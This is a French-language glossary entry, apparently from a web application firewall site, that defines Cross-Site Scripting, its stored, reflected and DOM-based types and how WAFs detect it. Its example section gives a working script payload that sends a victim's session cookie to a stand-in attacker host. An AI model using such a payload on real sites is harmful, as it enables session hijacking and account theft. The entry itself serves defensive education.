WAFPlanet

Cross-Site Scripting (XSS)

Types d'attaques

Quick Definition

Une vulnérabilité qui permet aux attaquants d'injecter des scripts malveillants côté client dans les pages web consultées par d'autres utilisateurs.

Qu'est-ce que Cross-Site Scripting ?

Le Cross-Site Scripting (XSS) est une attaque par injection de code côté client où un attaquant peut exécuter des scripts malveillants dans le navigateur d'une victime. Le XSS se produit lorsqu'une application web inclut des données non fiables dans une page web sans validation ou échappement approprié.

Les attaques XSS peuvent être utilisées pour :

  • Voler les cookies de session et détourner les comptes utilisateurs
  • Rediriger les utilisateurs vers des sites malveillants
  • Défigurer les pages web
  • Enregistrer les frappes au clavier et capturer des données sensibles
  • Propager des malwares

Il existe trois types principaux de XSS :

  • XSS stocké : Le script malveillant est stocké de façon permanente sur le serveur cible (dans une base de données, un champ de commentaire, etc.)
  • XSS réfléchi : Le script malveillant est intégré dans une URL et réfléchi par le serveur web dans les messages d'erreur ou les résultats de recherche
  • XSS basé sur le DOM : La vulnérabilité existe dans le JavaScript côté client plutôt que dans le code côté serveur

Exemples

Un formulaire de commentaires qui affiche l'entrée utilisateur sans échappement :

<script>document.location='http://attaquant.com/vol?cookie='+document.cookie</script>

Lorsque d'autres utilisateurs consultent la page avec ce commentaire, leurs cookies de session sont envoyés au serveur de l'attaquant.

Questions fréquentes

Comment les WAF détectent-ils les attaques XSS ?

Les WAF détectent le XSS en analysant les requêtes HTTP à la recherche de patterns JavaScript malveillants, de balises HTML et de gestionnaires d'événements. Ils recherchent les balises script, les URLs javascript, les attributs d'événements comme onload/onerror, et les variations encodées de ces patterns.